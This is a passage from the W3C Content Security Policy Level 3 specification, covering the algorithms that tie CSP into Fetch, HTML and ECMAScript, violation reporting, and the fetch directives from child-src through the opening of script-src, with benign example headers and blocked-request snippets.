Given a response (response), this algorithm evaluates its header list for serialized CSP values, and populates its CSP list accordingly:

  1. Set response’s CSP list to the empty list.

  2. Let policies be the result of parsing the result of extracting header list values given Content-Security-Policy and response’s header list, with a source of "header", and a disposition of "enforce".

  3. Append to policies the result of parsing the result of extracting header list values given Content-Security-Policy-Report-Only and response’s header list, with a source of "header", and a disposition of "report".

  4. For each policy in policies:

    1. Insert policy into response’s CSP list.

4.1.2. Report Content Security Policy violations for request

Given a request (request), this algorithm reports violations based on client’s "report only" policies.

  1. Let CSP list be request’s client’s global object’s CSP list.

  2. For each policy in CSP list:

    1. If policy’s disposition is "enforce", then skip to the next policy.

    2. Let violates be the result of executing §6.6.1.1 Does request violate policy? on request and policy.

    3. If violates is not "Does Not Violate", then execute §5.3 Report a violation on the result of executing §2.4.2 Create a violation object for request, policy, and directive on request, policy, and violates.

4.1.3. Should request be blocked by Content Security Policy?

Given a request (request), this algorithm returns Blocked or Allowed and reports violations based on request’s client’s Content Security Policy.

  1. Let CSP list be request’s client’s global object’s CSP list.

  2. Let result be "Allowed".

  3. For each policy in CSP list:

    1. If policy’s disposition is "report", then skip to the next policy.

    2. Let violates be the result of executing §6.6.1.1 Does request violate policy? on request and policy.

    3. If violates is not "Does Not Violate", then:

      1. Execute §5.3 Report a violation on the result of executing §2.4.2 Create a violation object for request, policy, and directive on request, policy, and violates.

      2. Set result to "Blocked".

  4. Return result.

4.1.4. Should response to request be blocked by Content Security Policy?

Given a response (response) and a request (request), this algorithm returns Blocked or Allowed, and reports violations based on request’s client’s Content Security Policy.

  1. Let CSP list be request’s client’s global object’s CSP list.

  2. Let result be "Allowed".

  3. For each policy in CSP list:

    1. For each directive in policy:

      1. If the result of executing directive’s post-request check is "Blocked", then:

        1. Execute §5.3 Report a violation on the result of executing §2.4.2 Create a violation object for request, policy, and directive on request, policy, and directive.

        2. If policy’s disposition is "enforce", then set result to "Blocked".

    Note: This portion of the check verifies that the page can load the response. That is, that a Service Worker hasn’t substituted a file which would violate the page’s CSP.

  4. For each policy in response’s CSP list:

    1. For each directive in policy:

      1. If the result of executing directive’s response check on request, response, and policy is "Blocked", then:

        1. Execute §5.3 Report a violation on the result of executing §2.4.2 Create a violation object for request, policy, and directive on request, policy, and directive.

        2. If policy’s disposition is "enforce", then set result to "Blocked".

    Note: This portion of the check allows policies delivered with the response to determine whether the response is allowed to be delivered.

  5. Return result.

4.2. Integration with HTML

  1. The Document, WorkerGlobalScope, and WorkletGlobalScope objects have a CSP list, which holds all the policy objects which are active for a given context. This list is empty unless otherwise specified, and is populated via the §4.2.2 Initialize a global object’s CSP list algorithm.

    This concept is missing from W3C’s Workers. <https://github.com/w3c/html/issues/187>

  2. A global object’s CSP list is the result of executing §4.2.3 Retrieve the CSP list of an object with the global object as the object.

  3. A policy is enforced or monitored for a global object by inserting it into the global object’s CSP list.

  4. §4.2.2 Initialize a global object’s CSP list is called during the initializing a new Document object and run a worker algorithms in order to bind a set of policy objects associated with a response to a newly created Document, WorkerGlobalScope or WorkletGlobalScope.

  5. §4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? is called during the prepare a script and update a style block algorithms in order to determine whether or not an inline script or style block is allowed to execute/render.

  6. §4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? is called during handling of inline event handlers (like onclick) and inline style attributes in order to determine whether or not they ought to be allowed to execute/render.

  7. policy is enforced during processing of the meta element’s http-equiv.

  8. A Document's embedding document is the Document through which the Document's browsing context is nested.

  9. HTML populates each request’s cryptographic nonce metadata and parser metadata with relevant data from the elements responsible for resource loading.

    Stylesheet loading is not yet integrated with Fetch in W3C’s HTML. <https://github.com/whatwg/html/issues/198>

    Stylesheet loading is not yet integrated with Fetch in WHATWG’s HTML. <https://github.com/whatwg/html/issues/968>

  10. §6.2.1.1 Is base allowed for document? is called during base's set the frozen base URL algorithm to ensure that the href attribute’s value is valid.

  11. §6.2.2.2 Should plugin element be blocked a priori by Content Security Policy?: is called during the processing of object, embed, and applet elements to determine whether they may trigger a fetch.

    Note: Fetched plugin resources are handled in §4.1.4 Should response to request be blocked by Content Security Policy?.

    This hook is missing from W3C’s HTML. <https://github.com/w3c/html/issues/547>

  12. §4.2.5 Should navigation request of type from source in target be blocked by Content Security Policy? is called during the process a navigate fetch algorithm, and §4.2.6 Should navigation response to navigation request of type from source in target be blocked by Content Security Policy? is called during the process a navigate response algorithm to apply directive’s navigation checks, as well as inline checks for navigations to javascript:.

    W3C’s HTML is not based on Fetch, and does not have a process a navigate response algorithm into which to hook. <https://github.com/w3c/html/issues/548>

4.2.1. Initialize a Document's CSP list

Given a Document (document), and a response (response), the user agent performs the following steps in order to initialize document’s CSP list:

  1. If response’s url’s scheme is a local scheme:

    1. Let documents be an empty list.

    2. If document has an embedding document (embedding), then add embedding to documents.

    3. If document has an opener browsing context, then add its active document to documents.

    4. For each doc in documents:

      1. For each policy in doc’s CSP list:

        1. Insert a copy of policy into document’s CSP list.

    Note: local scheme includes about:, and this algorithm will therefore copy the embedding document’s policies for an iframe srcdoc Document.

    Note: We do all this to ensure that a page cannot bypass its policy by embedding a frame or popping up a new window containing content it controls (blob: resources, or document.write()).

  2. For each policy in response’s CSP list, insert policy into document’s CSP list.

  3. For each policy in document’s CSP list:

    1. For each directive in policy:

      1. Execute directive’s initialization algorithm on document and response.

4.2.2. Initialize a global object’s CSP list

Given a global object (global), and a response (response), the user agent performs the following steps in order to initialize global’s CSP list:

  1. If response’s url’s scheme is a local scheme, or if global is a DedicatedWorkerGlobalScope:

    1. Let owners be an empty list.

    2. Add each of the items in global’s owner set to owners.

    3. For each owner in owners:

      1. For each policy in owner’s CSP list:

        1. Insert a copy of policy into global’s CSP list.

    Note: local scheme includes about:, and this algorithm will therefore copy the embedding document’s policies for an iframe srcdoc Document.

  2. If global is a SharedWorkerGlobalScope or ServiceWorkerGlobalScope:

    1. For each policy in response’s CSP list, insert policy into global’s CSP list.

  3. If global is a WorkletGlobalScope:

    1. Let owner be global’s owner document.

    2. For each policy in owner’s CSP list:

      1. Insert a copy of policy into global’s CSP list.

4.2.3. Retrieve the CSP list of an object

To obtain object’s CSP list:

  1. If object is a Document return object’s CSP list.

  2. If object is a Window return object’s associated Document’s CSP list.

  3. If object is a WorkerGlobalScope, return object’s CSP list.

  4. If object is a WorkletGlobalScope, return object’s CSP list.

  5. Return null.

4.2.4. Should element’s inline type behavior be blocked by Content Security Policy?

Given an Element (element), a string (type), and a string (source) this algorithm returns "Allowed" if the element is allowed to have inline definition of a particular type of behavior (script execution, style application, event handlers, etc.), and "Blocked" otherwise:

Note: The valid values for type are "script", "script attribute", "style", and "style attribute".

  1. Assert: element is not null.

  2. Let result be "Allowed".

  3. For each policy in element’s Document's global object’s CSP list:

    1. For each directive in policy’s directive set:

      1. If directive’s inline check returns "Allowed" when executed upon element, type, and source, skip to the next directive.

      2. Otherwise, let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on the current settings object’s global object, policy, and "style-src" if type is "style" or "style-attribute", or "script-src" otherwise.

      3. Set violation’s resource to "inline".

      4. Set violation’s element to element.

      5. If directive’s value contains the expression "'report-sample'", then set violation’s sample to the substring of source containing its first 40 characters.

      6. Execute §5.3 Report a violation on violation.

      7. If policy’s disposition is "enforce", then set result to "Blocked".

  4. Return result.

4.2.5. Should navigation request of type from source in target be blocked by Content Security Policy?

Given a request (navigation request), a string (type, either "form-submission" or "other"), and two browsing contexts (source and target), this algorithm return "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:

  1. Let result be "Allowed".

  2. For each policy in source’s active document’s CSP list:

    1. For each directive in policy:

      1. If directive’s pre-navigation check returns "Allowed" when executed upon navigation request, type, source, and target, skip to the next directive.

      2. Otherwise, let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on source’s relevant global object, policy, and directive’s name.

      3. Set violation’s resource to navigation request’s URL.

      4. Execute §5.3 Report a violation on violation.

      5. If policy’s disposition is "enforce", then set result to "Blocked".

  3. If result is "Allowed", and if navigation request’s url’s scheme is javascript:

    1. For each policy in source’s active document’s CSP List:

      1. For each directive in policy:

        1. If directive’s inline check returns "Allowed" when executed upon navigation request, type, source, and target, skip to the next directive.

      2. Otherwise, let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on source’s relevant global object, policy, and directive’s name.

      3. Set violation’s resource to navigation request’s URL.

      4. Execute §5.3 Report a violation on violation.

      5. If policy’s disposition is "enforce", then set result to "Blocked".

  4. Return result.

4.2.6. Should navigation response to navigation request of type from source in target be blocked by Content Security Policy?

Given a request (navigation request),, a string (type, either "form-submission" or "other"), a response navigation response, and two browsing contexts (source and target), this algorithm returns "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:

  1. Let result be "Allowed".

  2. For each policy in navigation response’s CSP list:

    1. For each directive in policy:

      1. If directive’s navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, source, and target, skip to the next directive.

      2. Otherwise, let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on null, policy, and directive’s name.

        Note: We use null for the global object, as no global exists: we haven’t processed the navigation to create a Document yet.

      3. Set violation’s resource to navigation response’s URL.

      4. Execute §5.3 Report a violation on violation.

      5. If policy’s disposition is "enforce", then set result to "Blocked".

  3. Return result.

4.3. Integration with ECMAScript

ECMAScript defines a HostEnsureCanCompileStrings() abstract operation which allows the host environment to block the compilation of strings into ECMAScript code. This document defines an implementation of that abstract operation thich examines the relevant CSP list to determine whether such compilation ought to be blocked.

4.3.1. EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source)

Given two realms (callerRealm and calleeRealm), and a string (source), this algorithm returns normally if string compilation is allowed, and throws an "EvalError" if not:

  1. Let globals be a list containing callerRealm’s global object and calleeRealm’s global object.

  2. For each global in globals:

    1. Let result be "Allowed".

    2. For each policy in global’s CSP list:

      1. Let source-list be null.

      2. If policy contains a directive whose name is "script-src", then set source-list to that directive's value.

        Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directive’s value.

      3. If source-list is non-null, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", then:

        1. Let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".

        2. Set violation’s resource to "inline".

        3. If source-list contains the expression "'report-sample'", then set violation’s sample to the substring of source containing its first 40 characters.

        4. Execute §5.3 Report a violation on violation.

        5. If policy’s disposition is "enforce", then set result to "Blocked".

    3. If result is "Blocked", throw an EvalError exception.

HostEnsureCanCompileStrings() does not include the string which is going to be compiled as a parameter. We’ll also need to update HTML to pipe that value through to CSP. <https://github.com/tc39/ecma262/issues/938>

5. Reporting

When one or more of a policy’s directives is violated, a violation report may be generated and sent out to a reporting endpoint associated with the policy.

5.1. Violation DOM Events

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString      documentURI;
    readonly    attribute DOMString      referrer;
    readonly    attribute DOMString      blockedURI;
    readonly    attribute DOMString      violatedDirective;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute DOMString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute long           lineNumber;
    readonly    attribute long           columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString      documentURI;
    DOMString      referrer;
    DOMString      blockedURI;
    DOMString      violatedDirective;
    DOMString      effectiveDirective;
    DOMString      originalPolicy;
    DOMString      sourceFile;
    DOMString      sample;
    SecurityPolicyViolationEventDisposition      disposition;
    unsigned short statusCode;
    long           lineNumber;
    long           columnNumber;
};

5.2. Obtain the deprecated serialization of violation

Given a violation (violation), this algorithm returns a JSON text string representation of the violation, suitable for submission to a reporting endpoint associated with the deprecated report-uri directive.

  1. Let object be a new JavaScript object with properties initialized as follows:

    "document-uri"

    The result of executing the URL serializer on violation’s url, with the exclude fragment flag set.

    "referrer"

    The result of executing the URL serializer on violation’s referrer, with the exclude fragment flag set.

    "blocked-uri"

    The result of executing the URL serializer on violation’s resource, with the exclude fragment flag set.

    "effective-directive"

    violation’s effective directive

    "violated-directive"

    violation’s effective directive

    "original-policy"

    The serialization of violation’s policy

    "disposition"

    The disposition of violation’s policy

    "status-code"

    violation’s status

    "script-sample"

    violation’s sample

    Note: The name script-sample was chosen for compatibility with an earlier iteration of this feature which has shipped in Firefox since its initial implementation of CSP. Despite the name, this field will contain samples for non-script violations, like stylesheets. The data contained in a SecurityPolicyViolationEvent object, and in reports generated via the new report-to directive, is named in a more encompassing fashion: sample.

  2. If violation’s source file is not null:

    1. Set object’s "source-file" property to the result of executing the URL serializer on violation’s source file, with the exclude fragment flag set.

    2. Set object’s "line-number" property to violation’s line number.

    3. Set object’s "column-number" property to violation’s column number.

  3. Assert: If object’s "blocked-uri" property is not "inline", then its "sample" property is the empty string.

  4. Return the result of executing JSON.stringify() on object.

5.3. Report a violation

Given a violation (violation), this algorithm reports it to the endpoint specified in violation’s policy, and fires a SecurityPolicyViolationEvent at violation’s element, or at violation’s global object as described below:

  1. Let global be violation’s global object.

  2. Let target be violation’s element.

  3. Queue a task to run the following steps:

    Note: We "queue a task" here to ensure that the event targeting and dispatch happens after JavaScript completes execution of the task responsible for a given violation (which might manipulate the DOM).

    1. If target is not null, and global is a Window, and target’s shadow-including root is not global’s associated Document, set target to null.

      Note: This ensures that we fire events only at elements connected to violation’s policy’s Document. If a violation is caused by an element which isn’t connected to that document, we’ll fire the event at the document rather than the element in order to ensure that the violation is visible to the document’s listeners.

    2. If target is null:

      1. Set target be violation’s global object.

      2. If target is a Window, set target to target’s associated Document.

    3. Fire an event named securitypolicyviolation that uses the SecurityPolicyViolationEvent interface at target with its attributes initialized as follows:

      documentURI

      The result of executing the URL serializer on violation’s url, with the exclude fragment flag set.

      referrer

      The result of executing the URL serializer on violation’s referrer, with the exclude fragment flag set.

      blockedURI

      The result of executing the URL serializer on violation’s resource, with the exclude fragment flag set.

      effectiveDirective

      violation’s effective directive

      violatedDirective

      violation’s effective directive

      originalPolicy

      violation’s policy

      disposition

      violation’s disposition

      sourceFile

      violation’s source file

      statusCode

      violation’s status

      lineNumber

      violation’s line number

      columnNumber

      violation’s column number

      sample

      violation’s sample

      bubbles

      true

      composed

      true

      Note: Both effectiveDirective and violatedDirective are the same value. This is intentional to maintain backwards compatibility.

      Note: We set the composed attribute, which means that this event can be captured on its way into, and will bubble its way out of a shadow tree. target, et al will be automagically scoped correctly for the main tree.

    4. If violation’s policy’s directive set contains a directive named "report-uri" (directive):

      1. If violation’s policy’s directive set contains a directive named "report-to", skip the remaining substeps.

      2. Let endpoint be the result of executing the URL parser with directive’s value as the input, and violation’s url as the base URL.

      3. If endpoint is not a valid URL, skip the remaining substeps.

      4. Let request be a new request, initialized as follows:

        method

        "POST"

        url

        violation’s url

        origin

        violation’s global object’s relevant settings object’s origin

        window

        "no-window"

        client

        violation’s global object’s relevant settings object

        destination

        "report"

        initiator

        ""

        credentials mode

        "same-origin"

        keepalive flag

        "true"

        header list

        A header list containing a single header whose name is "Content-Type", and value is "application/csp-report"

        body

        The result of executing §5.2 Obtain the deprecated serialization of violation on violation

        redirect mode

        "error"

        Note: request’s mode defaults to "no-cors"; the response is ignored entirely.

      5. Fetch request. The result will be ignored.

      Note: All of this should be considered deprecated. It sends a single request per violation, which simply isn’t scalable. As soon as this behavior can be removed from user agents, it will be.

      Note: report-uri only takes effect if report-to is not present. That is, the latter overrides the former, allowing for backwards compatibility with browsers that don’t support the new mechanism.

    5. If violation’s policy’s directive set contains a directive named "report-to" (directive):

      1. Let group be directive’s value.

      2. Let settings object be violation’s global object’s relevant settings object.

      3. Execute [REPORTING]'s Queue data as type for endpoint group on settings algorithm with the following arguments:

        data

        violation

        type

        "CSP"

        endpoint group

        group

        settings

        settings object

6. Content Security Policy Directives

This specification defines a number of types of directives which allow developers to control certain aspects of their sites' behavior. This document defines directives which govern resource fetching (in §6.1 Fetch Directives), directives which govern the state of a document (in §6.2 Document Directives), directives which govern aspects of navigation (in §6.3 Navigation Directives), and directives which govern reporting (in §6.4 Reporting Directives). These form the core of Content Security Policy; other directives are defined in a modular fashion in ancillary documents (see §6.5 Directives Defined in Other Documents for examples).

To mitigate the risk of cross-site scripting attacks, web developers SHOULD include directives that regulate sources of script and plugins. They can do so by including:

In either case, developers SHOULD NOT include either 'unsafe-inline', or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

6.1. Fetch Directives

Fetch directives control the locations from which certain resource types may be loaded. For instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of web fonts.

6.1.1. child-src

The child-src directive is deprecated. Authors who wish to regulate nested browsing contexts and workers SHOULD use the frame-src and worker-src directives, respectively.

The child-src directive governs the creation of nested browsing contexts (e.g. iframe and frame navigations) and Worker execution contexts. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "child-src"
directive-value = serialized-source-list

This directive controls requests which will populate a frame or a worker. More formally, requests falling into one of the following categories:

Given a page with the following Content Security Policy:
Content-Security-Policy: child-src https://example.com/

Fetches for the following code will all return network errors, as the URLs provided do not match child-src's source list:

<iframe src="https://example.org"></iframe>
<script>
  var blockedWorker = new Worker("data:application/javascript,...");
</script>
6.1.1.1. child-src Pre-request check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Let name be the result of executing §6.6.1.11 Get the effective directive for request on request.

  2. If name is not frame-src, return "Allowed".

  3. If policy contains a directive whose name is name, return "Allowed"

  4. Return the result of executing the pre-request check for the directive whose name is name on request and policy, using this directive’s value for the comparison.

6.1.1.2. child-src Post-request check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Let name be the result of executing §6.6.1.11 Get the effective directive for request on request.

  2. If name is not frame-src, return "Allowed".

  3. If policy contains a directive whose name is name, return "Allowed"

  4. Return the result of executing the post-request check for the directive whose name is name on request, response, and policy, using this directive’s value for the comparison.

6.1.2. connect-src

The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "connect-src"
directive-value = serialized-source-list

This directive controls requests which transmit or receive data from other origins. This includes APIs like fetch(), [XHR], [EVENTSOURCE], [BEACON], and a's ping. This directive also controls WebSocket [WEBSOCKETS] connections, though those aren’t technically part of Fetch.

JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.

The connect-src directive allows you to ensure that these and similar sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only https://example.com, send the following header:

Content-Security-Policy: connect-src https://example.com/

Fetches for the following code will all return network errors, as the URLs provided do not match connect-src's source list:

<a ping="https://example.org">...
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://example.org/');
  xhr.send();

  var ws = new WebSocket("https://example.org/");

  var es = new EventSource("https://example.org/");

  navigator.sendBeacon("https://example.org/", { ... });
</script>
6.1.2.1. connect-src Pre-request check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s initiator is "fetch" or its destination is "":

    1. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.2.2. connect-src Post-request check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s initiator is "fetch" or its destination is "":

    1. If the result of executing §6.6.1.4 Does response to request match source list? on response, request, and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.3. default-src

The default-src directive serves as a fallback for the other fetch directives. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "default-src"
directive-value = serialized-source-list

If a default-src directive is present in a policy, its value will be used as the policy’s default source list. That is, given default-src 'none'; script-src 'self', script requests will use 'self' as the source list to match against. Other requests will use 'none'. This is spelled out in more detail in the §4.1.3 Should request be blocked by Content Security Policy? and §4.1.4 Should response to request be blocked by Content Security Policy? algorithms.

The following header:
Content-Security-Policy: default-src 'self'

will have the same behavior as the following header:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src 'self';
                         style-src 'self';
                         worker-src 'self'

That is, when default-src is set, every fetch directive that isn’t explicitly set will fall back to the value default-src specifies.

There is no inheritance. If a script-src directive is explicitly specified, for example, then the value of default-src has no influence on script requests. That is, the following header:
Content-Security-Policy: default-src 'self'; script-src https://example.com

will have the same behavior as the following header:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src https://example.com;
                         style-src 'self';
                         worker-src 'self'

Given this behavior, one good way to build a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there which allowed only those resource types which are necessary for the particular page the policy will apply to.

6.1.3.1. default-src Pre-request check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Let name be the result of executing §6.6.1.11 Get the effective directive for request on request.

  2. If name is null, return "Allowed".

  3. If policy contains a directive whose name is name, return "Allowed".

  4. If name is "frame-src", and policy contains a directive whose name is "child-src", return "Allowed".

  5. If name is "worker-src", and policy contains a directive whose name is "script-src", return "Allowed".

  6. Otherwise, return the result of executing the pre-request check for the directive whose name is name on request and policy, using this directive’s value for the comparison.

6.1.3.2. default-src Post-request check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Let name be the result of executing §6.6.1.11 Get the effective directive for request on request.

  2. If name is null, return "Allowed".

  3. If policy contains a directive whose name is name, return "Allowed".

  4. If name is "frame-src", and policy contains a directive whose name is "child-src", return "Allowed".

  5. If name is "worker-src", and policy contains a directive whose name is "script-src", return "Allowed".

  6. Otherwise, return the result of executing the post-request check for the directive whose name is name on request, response, and policy, using this directive’s value for the comparison.

6.1.4. font-src

The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "font-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy:
Content-Security-Policy: font-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match font-src's source list:

<style>
  @font-face {
    font-family: "Example Font";
    src: url("https://example.org/font");
  }
  body {
    font-family: "Example Font";
  }
</style>
6.1.4.1. font-src Pre-request check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "font":

    1. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.4.2. font-src Post-request check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "font":

    1. If the result of executing §6.6.1.4 Does response to request match source list? on response, request, and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.5. frame-src

The frame-src directive restricts the URLs which may be loaded into nested browsing contexts. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "frame-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy:
Content-Security-Policy: frame-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match frame-src's source list:

<iframe src="https://example.org/">
</iframe>
6.1.5.1. frame-src Pre-request check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "document" and target browsing context is a nested browsing context:

    1. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.5.2. frame-src Post-request check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "document" and target browsing context is a nested browsing context:

    1. If the result of executing §6.6.1.4 Does response to request match source list? on response, request, and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.6. img-src

The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "img-src"
directive-value = serialized-source-list

This directive controls requests which load images. More formally, this includes requests whose destination is "image" [FETCH].

Given a page with the following Content Security Policy:
Content-Security-Policy: img-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match img-src's source list:

<img src="https://example.org/img">
6.1.6.1. img-src Pre-request check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "image":

    1. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.6.2. img-src Post-request check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "image":

    1. If the result of executing §6.6.1.4 Does response to request match source list? on response, request, and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.7. manifest-src

The manifest-src directive restricts the URLs from which application manifests may be loaded [APPMANIFEST]. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "manifest-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy:
Content-Security-Policy: manifest-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match manifest-src's source list:

<link rel="manifest" href="https://example.org/manifest">
6.1.7.1. manifest-src Pre-request check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "manifest":

    1. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.7.2. manifest-src Post-request check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "manifest":

    1. If the result of executing §6.6.1.4 Does response to request match source list? on response, request, and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.8. media-src

The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "media-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy:
Content-Security-Policy: media-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match media-src's source list:

<audio src="https://example.org/audio"></audio>
<video src="https://example.org/video">
    <track kind="subtitles" src="https://example.org/subtitles">
</video>
6.1.8.1. media-src Pre-request check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is one of "audio", "video", or "track":

    1. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.8.2. media-src Post-request check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is one of "audio", "video", or "track":

    1. If the result of executing §6.6.1.4 Does response to request match source list? on response, request, and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.9. object-src

The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "object-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy:
Content-Security-Policy: object-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match object-src's source list:

<embed src="https://example.org/flash"></embed>
<object data="https://example.org/flash"></object>
<applet archive="https://example.org/flash"></applet>

If plugin content is loaded without an associated URL (perhaps an object element lacks a data attribute, but loads some default plugin based on the specified type), it MUST be blocked if object-src's value is 'none', but will otherwise be allowed.

Note: The object-src directive acts upon any request made on behalf of an object, embed, or applet element. This includes requests which would populate the nested browsing context generated by the former two (also including navigations). This is true even when the data is semantically equivalent to content which would otherwise be restricted by another directive, such as an object element with a text/html MIME type.

Note: When a plugin resource is navigated to directly (that is, as a plugin document in the top-level browsing context or a nested browsing context, and not as an embedded subresource via embed, object, or applet), any policy delivered along with that resource will be applied to the plugin document. This means, for instance, that developers can prevent the execution of arbitrary resources as plugin content by delivering the policy object-src 'none' along with a response. Given plugins' power (and the sometimes-interesting security model presented by Flash and others), this could mitigate the risk of attack vectors like Rosetta Flash.

6.1.9.1. object-src Pre-request check

This directive’s pre-request check is as follows:

Given a request (request) and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "object" or "embed":

    1. If the result of executing §6.6.1.3 Does request match source list? on request and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.9.2. object-src Post-request check

This directive’s post-request check is as follows:

Given a request (request), a response (response), and a policy (policy):

  1. Assert: policy is unused.

  2. If request’s destination is "object" or "embed":

    1. If the result of executing §6.6.1.4 Does response to request match source list? on response, request, and this directive’s value is "Does Not Match", return "Blocked".

  3. Return "Allowed".

6.1.10. script-src

The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into script elements, but also things like inline script blocks and XSLT stylesheets [XSLT] which can trigger script execution. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "script-src"
directive-value = serialized-source-list

The script-src directive governs four things:

  1. Script requests MUST pass through §4.1.3 Should request be blocked by Content Security Policy?.

  2. Script responses MUST pass through §4.1.4 Should response to request be blocked by Content Security Policy?.

